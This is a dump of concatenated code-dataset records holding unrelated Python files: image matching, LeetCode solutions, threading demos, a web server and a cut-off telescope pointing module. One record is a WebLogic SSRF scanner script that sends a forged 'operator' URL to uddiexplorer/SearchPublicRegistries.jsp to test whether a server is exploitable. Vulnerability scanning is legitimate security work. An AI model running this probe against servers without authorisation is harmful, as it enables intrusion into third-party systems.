host),\n]","sub_path":"mysite/hosts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"86492866","text":"import cv2 \r\nimport os\r\nimport numpy as np\r\n\r\npath = 'C:/Users/HS/Pictures/Image/'\r\n\r\nclass CompareIMG:\r\n def __init__(self):\r\n print('Start')\r\n pass\r\n \r\n def binIMG(self, img):\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n ret, dst = cv2.threshold(gray, 100, 255, cv2.THRESH_BINARY) \r\n \r\n if ret:\r\n return dst\r\n else:\r\n print(\"Failed read image!\")\r\n exit()\r\n \r\n def diffIMG(self, img1, img2):\r\n img1 = self.binIMG(img1)\r\n detector = cv2.ORB_create()\r\n kp1, desc1 = detector.detectAndCompute(img1, None)\r\n #print(len(desc1))\r\n while 1:\r\n ret, img = img2.read()\r\n \r\n if not ret:\r\n print(\"Failed open Video!\")\r\n break\r\n \r\n vid = self.binIMG(img)\r\n \r\n kp2, desc2 = detector.detectAndCompute(vid, None)\r\n matcher = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\r\n matches = matcher.match(desc1, desc2)\r\n \r\n matches = sorted(matches, key=lambda x:x.distance)\r\n \r\n src_pts = np.float32([ kp1[m.queryIdx].pt for m in matches ])\r\n dst_pts = np.float32([ kp2[m.trainIdx].pt for m in matches ])\r\n \r\n mtrx, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0)\r\n \r\n h,w = img1.shape[:2]\r\n \r\n pts = np.float32([ [[0,0]],[[0,h-1]],[[w-1,h-1]],[[w-1,0]] ])\r\n dst = cv2.perspectiveTransform(pts,mtrx)\r\n img = cv2.polylines(img,[np.int32(dst)],True,255,3, cv2.LINE_AA)\r\n \r\n cv2.imshow('Result', img)\r\n \r\n if cv2.waitKey(55) == 27:\r\n break\r\n \r\n print(\"End\")\r\n cv2.destroyAllWindows()\r\n \r\n def Run(self):\r\n #파일 경로\r\n filepath1 = path + 'n5.jpg' #찾고싶은대상\r\n filepath2 = path + 'n8.mp4' #비교 영상\r\n \r\n self.img1 = cv2.imread(filepath1) #찾고싶은대상\r\n self.img2 = cv2.VideoCapture(filepath2) #비교 영상\r\n \r\n if self.img1 is None or self.img2 is None:\r\n print('Image load failed!')\r\n os.sys.exit()\r\n \r\n self.diffIMG(self.img1, self.img2)\r\n\r\nif __name__ == '__main__':\r\n cpimg = CompareIMG()\r\n cpimg.Run()\r\n\r\n","sub_path":"Object_Tracking/특징점 매칭/Case1/Matching.py","file_name":"Matching.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"491143269","text":"\"\"\"\nhttps://leetcode.com/problems/binary-tree-maximum-path-sum\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def maxPathSum(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n self.res = 0 - 2 ** 31\n\n\n def _helper(node):\n if not node:\n return 0\n\n sum_l, sum_r = max(0, _helper(node.left)), max(0, _helper(node.right))\n sum_n = node.val + sum_l + sum_r\n if sum_n > self.res:\n self.res = sum_n\n return node.val + max(sum_l, sum_r)\n\n _helper(root)\n return self.res\n\n\n def maxPathSum_2(self, root):\n self.res = 0 - 2 ** 31\n self.path = None\n\n def _helper(node):\n if not node:\n return 0, None\n sum_l, path_l = _helper(node.left)\n if sum_l <= 0:\n sum_l = 0\n path_l = None\n sum_r, path_r = _helper(node.right)\n if sum_r <= 0:\n sum_r = 0\n path_r = None\n sum_n = node.val + sum_l + sum_r\n if sum_n > self.res:\n self.res = sum_n\n self.path = TreeNode(node.val)\n self.path.left, self.path.right = path_l, path_r\n path_n = TreeNode(node.val)\n if sum_l > sum_r:\n path_n.left = path_l\n return node.val + sum_l, path_n\n else:\n path_n.right = path_r\n return node.val + sum_r, path_n\n\n _helper(root)\n return self.path\n\nroot = TreeNode(-5)\nn2 = TreeNode(-2)\nn3 = TreeNode(-3)\nn4 = TreeNode(-2)\nroot.left, root.right = n2, n3\nn2.left = n4\nprint(Solution().maxPathSum_2(root))\n\n\n","sub_path":"leetcode/facebook/binary-tree-maximum-path-sum.py","file_name":"binary-tree-maximum-path-sum.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"323449726","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'orleven'\n\nimport urllib.parse\nimport requests\nrequests.packages.urllib3.disable_warnings()\n\ndef get_script_info(data=None):\n script_info = {\n \"name\": \"weblogic ssrf\",\n \"info\": \"weblogic ssrf.\",\n \"level\": \"high\",\n \"type\": \"info\"\n }\n return script_info\n\ndef prove(data):\n data = init(data,'web')\n if data['base_url']:\n url = data['base_url']+'uddiexplorer/SearchPublicRegistries.jsp?operator=http://www.orleven.com/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'\n try:\n res = requests.get(url, headers=data['headers'], verify=False, timeout=data['timeout'])\n if \"weblogic.uddi.client.structures.exception.XML_SoapException\" in res.text :\n data['flag'] = 1\n data['data'].append({\"page\": '/uddiexplorer/SearchPublicRegistries.jsp'})\n data['res'].append({\"info\": url, \"key\": \"/uddiexplorer/SearchPublicRegistries.jsp\"})\n except:\n pass\n return data\n","sub_path":"script/web/weblogic_ssrf.py","file_name":"weblogic_ssrf.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"135019391","text":"# Restaurant\n\n# in order to import from a subfolder need to touch a __init__.py file in that\n# folder.\n\nfrom classes.restaurant import *\n\nrestaurant = Restaurant(\"Yoshinoya\", \"Japanese\")\n\nprint (\"Name : \" + restaurant.restaurant_name)\nprint (\"Cuisine Type : \" + restaurant.cuisine_type)\n\nrestaurant.describe_restaturant()\nrestaurant.open_restaurant()\n","sub_path":"crash_course/ch_9_classes/9.1.py","file_name":"9.1.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"180815957","text":"from igraph import Graph, STRONG\n\n\ndef count(db, height_from, height_to):\n blocks = get_blocks(db, height_from, height_to)\n edges = get_edges_from_blocks(blocks)\n graph = get_graph_from_edges(edges)\n v_counts = get_separate_graphs_counts(graph)\n v_counts.sort(reverse=True)\n return v_counts\n\n\ndef get_blocks(db, height_from, height_to):\n blocks = []\n query = db.blocks.find({'height': {'$gte': height_from, '$lte': height_to}})\n for block in query:\n blocks.append(block)\n return blocks\n\n\ndef get_edges_from_blocks(blocks):\n edges = []\n for block in blocks:\n for tx in block['transactions']:\n for inpt in tx['inputs']:\n for inp_addr in inpt['addresses']:\n for outpt in tx['outputs']:\n for out_addr in outpt['addresses']:\n if None not in (inp_addr, out_addr):\n edges.append((\n inp_addr['address'],\n out_addr['address'],\n ))\n return edges\n\n\ndef get_graph_from_edges(edges):\n graph = Graph()\n for edge in edges:\n for vertex in edge:\n graph.add_vertex(name=vertex)\n graph.add_edge(edge[0], edge[1])\n return graph\n\n\ndef get_separate_graphs_counts(graph):\n v_counts = []\n for graph in graph.decompose(mode=STRONG):\n v_counts.append(graph.vcount())\n return v_counts\n","sub_path":"web-api/src/functions/count_separate_graphs.py","file_name":"count_separate_graphs.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159020395","text":"from typing import List\n\nclass Solution:\n def sequentialDigits(self, low: int, high: int) -> List[int]:\n ret = []\n if self.verifySequence(low):\n ret.append(low)\n x = self.nextSequence(low)\n while x <= high:\n ret.append(x)\n x = self.nextSequence(x)\n if self.verifySequence(high) and high not in ret:\n ret.append(high)\n return ret\n \n def verifySequence(self, num):\n num_str = str(num)\n prev_digit = int(num_str[0])\n length = len(num_str)\n for n in range(1, length):\n next_digit = int(num_str[n])\n if prev_digit+1 != next_digit:\n return False\n prev_digit = next_digit\n return True\n \n def nextSequence(self, num):\n ret = 0\n num_str = str(num)\n digit = int(num_str[0])\n length = len(num_str)\n if length > 10:\n return float(\"inf\")\n if digit+length > 10:\n return self.nextSequence(1*(10**(length)))\n for n in range(length):\n ret = ret * 10 + digit\n digit += 1\n if ret <= num:\n return self.nextSequence(num+(1*(10**(length-1)))-int(num_str[1:]))\n return ret\n\n\nprint(Solution().sequentialDigits(100, 300))\nprint(Solution().sequentialDigits(1000, 13000))\nprint(Solution().sequentialDigits(10, 1000000000))\nprint(Solution().sequentialDigits(58, 155))\nprint(Solution().sequentialDigits(123, 123))\nprint(Solution().sequentialDigits(234, 2314))\nprint([234,345,456,567,678,789,1234])\n# print(Solution().nextSequence(100000000))\n# print(Solution().verifySequence(123456789))\n# print(Solution().verifySequence(123446789))\n","sub_path":"Daily Challenge/Sequential Digits.py","file_name":"Sequential Digits.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"360085175","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\nimport random\nimport _thread\nimport time\n\nvisited = []\ndef get_links(thread_name, bs):\n print('Getting links in {}'.format(thread_name))\n links = bs.find('div', {'id':'bodyContent'}).find_all('a',\n href=re.compile('^(/wiki/)((?!:).)*$'))\n return [link for link in links if link not in visited]\n\n\n# Define uma função para a thread\ndef scrape_article(thread_name, path):\n html = urlopen('http://en.wikipedia.org{}'.format(path))\n time.sleep(5)\n bs = BeautifulSoup(html, 'html.parser')\n title = bs.find('h1').get_text()\n print('Scraping {} in thread {}'.format(title, thread_name))\n links = get_links(thread_name, bs)\n if len(links) > 0:\n newArticle = links[random.randint(0, len(links)-1)].attrs['href']\n print(newArticle)\n scrape_article(thread_name, newArticle)\n\n# Cria duas threads conforme definidas a seguir\ntry:\n _thread.start_new_thread(scrape_article, ('Thread 1', '/wiki/Kevin_Bacon',))\n _thread.start_new_thread(scrape_article, ('Thread 2', '/wiki/Monty_Python',))\nexcept:\n print('error: unable to start threads')\n\nwhile 1:\n pass\n","sub_path":"Capitulo16/testcrawlingthreads_v2.py","file_name":"testcrawlingthreads_v2.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22634915","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:hua\n# !/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:hua\nimport requests\nimport json\nimport time\n# url = \"http://192.168.100.106:5000/sklearn\"\nurl = \"http://127.0.0.1:5000/LGRS/LGB\"\n# url = \"http://192.168.11.220:5000/sklearn\"\nstart_time = time.time()\ndata = {\n \"data\": [\n {\"filename\": \"420testdata.csv\"},\n {\"tab_list\":['住院天数', '年龄', '咳嗽', '流涕', '呼吸音粗', '性别'],\"vars_c\":['住院天数', '年龄'],\"vars_d\":['咳嗽', '流涕', '呼吸音粗'],\"target\":['性别']}\n # {\"vars_c\":['住院天数', '年龄']},\n # {\"vars_d\":['咳嗽', '流涕', '呼吸音粗']},\n # {\"target\":['性别']},\n # {\"testdata\":None},\n # {\"n_neighbors\":6}\n ]\n}\ndata = json.dumps(data, ensure_ascii=True)\nheaders = {'Content-Type': 'application/json'}\nresponse = requests.post(url, data, headers=headers)\n\ndata1 = response.content.decode(encoding=\"unicode-escape\")\n# data1 = response.content.decode(encoding=\"utf-8\")\n\n# 获取key为中文的返回值\n# data2 = json.loads(data1)\n# 提取第一个表的信息\n# data3 = data2[\"yy\"]\nprint(data1)\nend_time = time.time()\ntimes = end_time - start_time\nprint(times)\n","sub_path":"Ubuntu_code/Machine_Learning_test/KNN客户端.py","file_name":"KNN客户端.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22067055","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport signal\nimport logging\n\nfrom tornado.ioloop import IOLoop\nfrom tornado.options import options, define, parse_command_line, parse_config_file\nfrom tornado.web import Application\n\nimport routing\nfrom assets import AssetsHandler\nfrom handlers.error import ErrorHandler\nfrom widgets import topbar\n\ndefine(\"port\", 8880)\ndefine(\"debug\", default=False, type=bool)\ndefine(\"auto_reload\", default=False, type=bool)\n\n\ndef local_file(*path):\n root = os.path.dirname(os.path.abspath(__file__))\n return os.path.join(root, *path)\n\ntry:\n parse_config_file(local_file(\"config\", \"server.conf\"))\nexcept IOError:\n logging.info(\"No specific config file loaded\")\n\nparse_command_line()\n\napp_settings = {\n \"debug\": options.debug,\n \"auto_reload\": options.auto_reload,\n \"ui_modules\": [topbar, ],\n \"static_handler_class\": AssetsHandler,\n \"static_url_prefix\": \"/static/\",\n \"static_path\": local_file(\"web\"),\n \"template_path\": local_file(\"templates\"),\n \"default_handler_class\": ErrorHandler,\n}\n\n\ndef signal_handler(signal_num, frame):\n IOLoop.instance().stop()\n logging.info(\"IO loop stoped\")\n\n\nif __name__ == '__main__':\n app = Application(routing.rules, **app_settings)\n signal.signal(signal.SIGINT, signal_handler)\n signal.signal(signal.SIGTERM, signal_handler)\n app.listen(options.port)\n logging.info(\"Listening port %s\", options.port)\n IOLoop.instance().start()\n","sub_path":"app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81896770","text":"import threading \nimport time\nclass BookTicket:\n def __init__(self, total_seats):\n self.total_seats = total_seats\n self.l = threading.Lock()\n #self.l = threading.Seamphore()\n\n def processbooking(self, requestedSeats):\n print (threading.current_thread().getName())\n time.sleep(1)\n self.l.acquire()\n if self.total_seats+1 > requestedSeats:\n print (\"booking ticket\")\n print (\"confirming the seats\")\n print (\"print the ticket\")\n self.total_seats-= requestedSeats\n else:\n print (\"Sorry ! requested seats are not avaialble\")\n \n \n print (self.total_seats)\n self.l.release()\n\nbt= BookTicket(total_seats= 10)\nt1 = threading.Thread(target=bt.processbooking, args=(3,))\nt2 = threading.Thread(target=bt.processbooking, args=(5,))\nt3 = threading.Thread(target=bt.processbooking, args=(2,))\nt4 = threading.Thread(target=bt.processbooking, args=(2,))\n\nt1.start()\nt2.start()\nt3.start()\nt4.start()\n\n\n\n\n","sub_path":"python_threading/bookticket.py","file_name":"bookticket.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"92286800","text":"import numpy as np\nimport pylab as py\nimport pickle as pk\nimport os\nimport copy\nimport glob\nimport spt3g.pointing.pointing_tools as pt\nfrom spt3g import core\n\n'''\n This module contains functions for obtaining a list of pointing parameters \n to pass to the offline and/or online pointing model.\n'''\n\ndef grabAzTiltParams(input_files, tilts_dir='/poleanalysis/sptdaq/azTilts'):\n '''\n Extract tilt parameters from the nearest tilt ObsID to this observations's ObsID.\n '''\n a2 = None\n a3 = None\n for fname in input_files:\n for frame in core.G3File(fname):\n #Extract the obsID of the frame.\n if frame.type == core.G3FrameType.Observation:\n obsID = frame['ObservationID']\n\n #Now track down which tilt obsID should be matched to this.\n dirs = glob.glob(os.path.join(tilts_dir,'*'))\n obslist = [int(f.split('/')[-1]) for f in dirs]\n obslist.sort()\n thisID = np.where(obslist >= obsID)[0][0]\n tilt_obsID1 = obslist[thisID]\n tilt_obsID2 = obslist[thisID+1]\n\n #Which tilt_obsID is closest to obsID?\n tilt_obs = np.array([tilt_obsID1, tilt_obsID2])\n diffs = obsID - tilt_obs\n\n index = np.where(diffs == np.min(diffs))[0]\n\n tilt_obsID = tilt_obs[index]\n\n #Now load tilt information from the relevant g3 file.\n info = [f for f in core.G3File(os.path.join(tilts_dir,str(tilt_obsID[0]), '0001.g3'))][0]\n tiltHA = info['tiltHA']/core.G3Units.degrees\n tiltLat = info['tiltLat']/core.G3Units.degrees\n\n #Now map the tilt values to pointing model parameters.\n a2 = 0.88*tiltHA\n a3 = -0.88*tiltLat\n break\n \n #Break the for loop once we have a2,a3\n if a2 != None:\n break\n\n return a2, a3\n\n\n#Online Az model given raw Az/El and pointing parameters) \ndef CorrectedAz(az, el, a2, a3, a4, a5, az0, DET=0,\n flags=['az_tilts', 'el_tilts',\n 'flexure', 'collimation',\n 'refraction']):\n d_az = -az0\n\n if 'az_tilts' in flags:\n d_az += (a2* np.cos(az/core.G3Units.rad) +\\\n a3 *np.sin(az/core.G3Units.rad))*np.tan(el/core.G3Units.rad)\n\n if 'el_tilts' in flags:\n d_az += a4*np.tan(el/core.G3Units.rad)\n\n if 'collimation' in flags:\n d_az += - a5/np.cos(el/core.G3Units.rad)\n\n\n if 'thermolin' in flags:\n d_az += -DET*np.tan(el/core.G3Units.rad)\n \n return az + d_az\n\n\n#Online El model given raw Az/El and pointing parameters, and refraction)\ndef CorrectedEl(az, el, a0, a1, a2, a3, a6, refraction,\n DEL = 0.0,\n flags=['az_tilts', 'el_tilts', 'flexure',\n 'collimation', 'refraction']):\n\n d_el = 0.\n\n if 'flexure' in flags:\n d_el += a0*np.sin(el/core.G3Units.rad) + a1*np.cos(el/core.G3Units.rad)\n\n if 'az_tilts' in flags:\n d_el += -(a2*np.sin(az/core.G3Units.rad) - a3*np.cos(az/core.G3Units.rad))\n\n if 'collimation' in flags:\n d_el += -a6\n\n if 'refraction' in flags:\n d_el += -refraction\n\n if 'thermolin' in flags:\n d_el += -DEL\n\n return el + d_el\n\n@core.indexmod\nclass CorrectBoresightPointing(object):\n '''\n Makes two timesteams (Az, El) that apply offsets\n from a given pointing model to environmental data to the specified\n raw encoder timestreams. Interpolates over pointing dropouts by default.\n\n The usual model choices are 'OnlinePointingModel' and 'OfflinePointingModel'\n and can reference dictionaries of parameters in any frame type.\n\n flags: list of pointing model segments to turn on. Default is everything\n in online model (no thermolin corrections).\n '''\n def __init__(self,\n raw_az_key = 'RawBoresightAz', raw_el_key = 'RawBoresightEl',\n output = 'OnlineBoresight', model = 'OnlinePointingModel',\n flags = ['az_tilts', 'el_tilts', 'flexure', 'collimation',\n 'refraction']):\n # XXX: contrary to documentation, does no interpolation\n self.raw_az_key = raw_az_key\n self.raw_el_key = raw_el_key\n self.output = output\n self.model_key = model\n self.flags = flags\n\n self.model = None # Will be filled later\n\n def __call__(self, frame):\n # Try to cache the model, wherever it appears\n if self.model_key in frame:\n self.model = frame[self.model_key]\n\n # Otherwise, ignore non-scan frames\n if frame.type != core.G3FrameType.Scan:\n return\n\n # Now get model params\n a0, a1 = self.model['flexure'][0:2]\n a2, a3, a4 = self.model['tilts'][0:3]\n a5, a6 = self.model['fixedCollimation'][0:2]\n az0 = frame['TrackerPointing'].encoder_off_x[0]\n refraction = np.median(frame['TrackerPointing'].refraction)\n\n p = {'a0':a0, 'a1':a1, 'a2':a2, 'a3':a3, 'a4':a4,\n 'a5':a5, 'a6':a6, 'az0':az0, 'refraction':refraction}\n\n # And apply corrections\n if 'thermolin' in self.flags:\n l1 = np.median(frame['TrackerPointing'].linsens_avg_l1)\n l2 = np.median(frame['TrackerPointing'].linsens_avg_l2)\n r1 = np.median(frame['TrackerPointing'].linsens_avg_r1)\n r2 = np.median(frame['TrackerPointing'].linsens_avg_r2)\n\n lin_data = get_lin_sens(l1, l2, r1, r2)\n p_thermolin = thermo2pointing(frame['TrackerPointing'].scu_temp, \n lin_data)\n\n p['DET'] = p_thermolin['DET']\n p['DEL'] = p_thermolin['DEL']\n else:\n p['DET'] = 0.0\n p['DEL'] = 0.0\n\n corrected_az = CorrectedAz(frame[self.raw_az_key],\n\t\t\t\t frame[self.raw_el_key],\n p['a2'], p['a3'], p['a4'], \n p['a5'], p['az0'], p['DET'], \n flags=self.flags)\n corrected_el = CorrectedEl(frame[self.raw_az_key],\n\t\t\t\t frame[self.raw_el_key],\n p['a0'], p['a1'], p['a2'], \n p['a3'], p['a6'], p['refraction'], p['DEL'],\n flags=self.flags)\n\n frame[self.output + 'Az'] = corrected_az\n frame[self.output + 'El'] = corrected_el\n\n\ndef TestThermolin(frame):\n '''\n Gather DET and DEL corretions for a given observation.\n '''\n if frame.type == core.G3FrameType.Scan:\n p = extractOfflinePointingParameters(frame)\n l1 = np.median(frame['TrackerPointing'].linsens_avg_l1)\n l2 = np.median(frame['TrackerPointing'].linsens_avg_l2)\n r1 = np.median(frame['TrackerPointing'].linsens_avg_r1)\n r2 = np.median(frame['TrackerPointing'].linsens_avg_r2)\n\n lin_data = get_lin_sens(l1, l2, r1, r2)\n p_thermolin = thermo2pointing(frame['TrackerPointing'].scu_temp, \n lin_data)\n\n p['DET'] = p_thermolin['DET']\n p['DEL'] = p_thermolin['DEL']\n\n frame['DET'] = core.G3Double(p['DET'])\n frame['DEL'] = core.G3Double(p['DEL'])\n \n\n\n#----------------------------------------------------------------------------------------\n#Below is code used to calculate collimation corrections based on scu temperature sensor\n#and yoke arm metrology readings.\n#This may or may not get replaced with the thermolin code RK wrote for use with EHT.\n#----------------------------------------------------------------------------------------\ndef get_lin_sens(l1, l2, r1, r2):\n \"\"\"\n Translated from the IDL get_lin_sens.pro written by RK.\n\n The purpose of this function is to return the linear sensor and thermometry sensor data\n from a given time window. Linearly interpolate over dropouts in the \n sensor data.\n \n INPUTS\n date: Array of dates.\n\n OUTPUTS\n S: a dictionary with the following substructures:\n 'utc': The 100 Hz UTC.\n 'l1': The 100 Hz L1 length, in mm.\n 'l2': The 100 Hz L2 length, in mm.\n 'r1': The 100 Hz R1 length, in mm.\n 'r2': The 100 Hz R2 length, in mm.\n 'del': The 100 Hz elevation correction, in arcseconds.\n 'daz': The 100 Hz azimuth correction, in arcseconds.\n 'det': The 100 Hz elevation tilt correction, in arcseconds.\n 'temp': The thermometry data, which is an array with [nthermos, nsamples].\n\n Translated: October 2012, JWH.\n Originally Written: April 2008, RK.\n Modifications: Take linear sensor data in place of the 'date' input. 7 Dec 2012, SH\n \"\"\"\n\n #Yoke dimensions in mm.\n Rs = 1652.\n Rh = 3556.\n Ry = 6782.\n\n #Calculate corrections in arcsec.\n DEL = (1./(2.*Rs))*(l2 - l1 + r2 - r1)*(3600.*180./np.pi)\n DAZ = (Rh/(Ry*Rs))*(l1 - l2 - r1 + r2)*(3600.*180./np.pi)\n DET = (1./(2.*Ry))*(r1 + r2 - l1 - l2)*(3600.*180./np.pi)\n\n #Subtract medians calculated from RCW38 observations.\n DAZ -= 0.0 #38.7\n DEL -= 0.0 #27.6\n DET -= 0.0 #18.6\n\n #Fill the output dictionary.\n s = {#'utc':utc, \n 'l1':l1, 'l2':l2, 'r1':r1, 'r2':r2,\n 'del':DEL, 'daz':DAZ, 'det':DET}\n\n return s\n\n\ndef thermo2pointing(scu_temp, this_lin, \n thermometry_config_file='thermometer_pointing_coefficients',\n nointerp=True):\n \"\"\"\n The purpose of this function is to provide pointing corrections DET and DEL, given an\n input array of structure thermometry and/or linear sensor data. The model is just linear \n in the thermometry + linear sensors. The coefficients for the model are stored in an \n external common txt file.\n\n INPUTS:\n scu_temp_in: the array of thermometry + linear sensor data. It has\n dimensions of (63, nsamples) where there are 60 thermometers\n and 3 linear sensors. The thermometry should be raw (degrees C).\n\n OUTPUTS:\n s - a dictionary with the following fields:\n DET: the DET (elevation axis tilt) correction, in arcseconds.\n DEL: the DEL (plain old elevation) correction, in arcseconds.\n\n\n EXCEPTIONS\n ValueError if the config file doesn't match the size of the scu_temp register data. \n\n Translated to python from the original IDL written by RK, Jan 2009.\n Translated by JWH October 2012.\n \"\"\"\n #scu_temp/=core.G3Units.K + 273.15\n\n scu_temp = np.median(np.reshape(scu_temp, (len(scu_temp)/60, 60)), axis=0)\n scu_temp = scu_temp/core.G3Units.K + 273.15\n\n scu_temp = np.hstack([scu_temp, this_lin['daz'], this_lin['del'], this_lin['det']])\n\n scu_temp = np.array([scu_temp]).T\n\n # Read in a config file that contains the coefficients for going from\n # structure temperatures to pointing offsets DET and DEL.\n index, det_coeff, del_coeff, neighbors1, neighbors2 = readThermoConfig()\n\n nsamples = scu_temp.shape[1]\n nthermo = scu_temp.shape[0]\n if nthermo != len(det_coeff)-1 or nthermo != len(del_coeff)-1:\n raise ValueError('# of thermometers in scu_temp does not match # of coefficients')\n\n #Interpolate over dropouts\n npts = nsamples\n thermo_zero = -200.0\n if nointerp==True and nsamples > 1:\n for i in range(nthermo-3):\n whnodrop1 = np.nonzero((scu_temp[i] != thermo_zero) &\n (scu_temp[i] != 0.0) &\n (scu_temp[i] > -150.) &\n (scu_temp[i] < 40.))[0]\n nnodrop = len(whnodrop1)\n if nnodrop < npts/2.:\n continue\n thisdata = scu_temp[i]\n thisdata = pt.interp_over_dropouts(thisdata, whnodrop=whnodrop1)\n scu_temp[i] = thisdata\n\n #The thermometer indexed in IDL by i=40 begain to have problems in 2011.\n #The cause of these problems are unknown, but basically the temperatures\n #that are recorded are crazy. This can screw up the pointing, since the \n #offline pointing model depends on the telescope temperatures. So if it's\n #2011 or later, and the i=40 thermometer looks crazy, let's replace its data\n #with that of a nearby thermometer, i=42.\n if (np.abs(np.median(scu_temp[40]) - np.median(scu_temp[42])) > 10.):\n scu_temp[40] = scu_temp[42]\n\n # Look through each thermometer, checking to see if there are any\n # which are still equal to the \"thermometer zero\" value, typically\n # -200.0 C, which were not interpolated over because there's no good\n # data to use for the interpolation. For these thermometers we want\n # to replace their output with that of their \"neighbors\", where \n # neighbor is defined as a thermometer that historically had a \n # similar temperature.\n scu_tempo = scu_temp.copy()\n for i in range(nthermo-3):\n this_temp = np.array(scu_temp[i]).reshape(len(scu_temp[i]))\n wh_zero = np.nonzero(this_temp == thermo_zero)[0]\n n_zero = len(wh_zero)\n if n_zero > 0:\n #This thermometer is returning the \"zero\" value. Replace its\n #data from that from its closest possible neighbor with similar data.\n this_n1 = neighbors1[i]\n this_temp_n = scu_temp[int(this_n1)]\n wh_zero_n = np.nonzero(this_temp_n == thermo_zero)[0]\n n_zero_n = len(wh_zero_n) \n if n_zero_n == 0:\n scu_temp[i] = this_temp_n\n else:\n this_n2 = neighbors2[i]\n this_temp_n = np.array(scu_temp[this_n2])\n wh_zero_n = np.nonzero(this_temp_n == thermo_zero)[0]\n n_zero_n = len(wh_zero_n)\n if n_zero_n == 0:\n scu_temp[i] = this_temp_n\n else:\n if (i<=25) or (i >= 40):\n pass\n wh_not_zero = np.nonzero(scu_tempo != thermo_zero)[0]\n n_not_zero = len(wh_not_zero)\n wh_not_zero = 0.\n if n_not_zero > 0:\n scu_temp[i] = ( np.zeros(len(scu_temp[i])) + \n np.median(scu_tempo[scu_tempo != thermo_zero]) )\n\n #Convert temps to Kelvin.\n scu_temp[0:60,0] += 273.15\n\n #Restructure the coefficients\n det_dc = det_coeff[-1]\n del_dc = del_coeff[-1]\n det_coeff = np.matrix(det_coeff[:-1])\n del_coeff = np.matrix(del_coeff[:-1])\n scu_temp = np.matrix(scu_temp)\n\n #Subtract off the median (calculated from 2014 RCW38 obs) so we have mean zero corrections.\n DET = np.array(det_coeff*scu_temp + det_dc) - 0.0 #-20.2\n DEL = np.array(del_coeff*scu_temp + del_dc) - 0.0 #-7.0\n\n\n #Return corrections in units of degrees.\n return {'DET':DET[0][0]/3600., 'DEL':DEL[0][0]/3600.}\n\n\ndef readThermoConfig(config_file='thermometer_pointing_coefficients.txt'):\n '''\n Read in thermometer pointing coefficients calculated originally by RK for SPT-SZ.\n It's probably a good idea to update these coefficients...\n '''\n d = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), config_file), 'r').read().split('\\n')[:-1]\n \n index = []\n det_coeff = []\n del_coeff = []\n neighbors1 = []\n neighbors2 = []\n\n for i in range(len(d)):\n index.append(int(float(d[i].split(' ')[0])))\n det_coeff.append(float(d[i].split(' ')[1]))\n del_coeff.append(float(d[i].split(' ')[2]))\n neighbors1.append(int(float(d[i].split(' ')[3])))\n neighbors2.append(int(float(d[i].split(' ')[4])))\n\n return index, det_coeff, del_coeff, neighbors1, neighbors2\n\n@core.usefulfunc\ndef OfflinePointingParamsAtTime(t, config_files):\n '''\n Read SPTpol-style configuration text files and interpolate the values\n into an appropriately-formatted G3MapVectorDouble that can be placed into a\n frame for use by CorrectBoresightPointing.\n\n t should be either a G3Time or a string that the G3Time constructor can\n interpret.\n '''\n\n params = {}\n for fname in config_files:\n with open(fname, 'r') as f:\n # Can't figure out a way to parse these with numpy.loadtxt :(\n for line in f.readlines():\n if len(line[0].strip()) == 0:\n continue\n if line[0] == '#' and line[1] == '#':\n headers = line[2:].split()\n elif line.split()[0] == '#mjd':\n headers = line[1:].split()\n elif line[0] == '#':\n continue\n elif line.startswith('VALIDITY'):\n continue\n else:\n fields = {headers[i]: float(j) for i, j in\n enumerate(line.split())}\n if fields['mjd'] not in params:\n params[fields['mjd']] = {}\n params[fields['mjd']].update(fields)\n\n keys = {k for v in params.values() for k in v if k != 'mjd'}\n\n if isinstance(t, str):\n t = core.G3Time(t)\n desiredmjd = t.mjd\n p_at_t = {}\n\n for k in keys:\n mjd = []\n vals = []\n for datum in params.values():\n if k not in datum:\n continue\n mjd.append(datum['mjd'])\n vals.append(datum[k])\n p_at_t[k] = np.interp([desiredmjd], mjd, vals)[0]\n\n out = core.G3MapVectorDouble()\n if 'a0' in p_at_t:\n out['flexure'] = core.G3VectorDouble([p_at_t['a0'], p_at_t['a1']])\n if 'a2' in p_at_t:\n out['tilts'] = 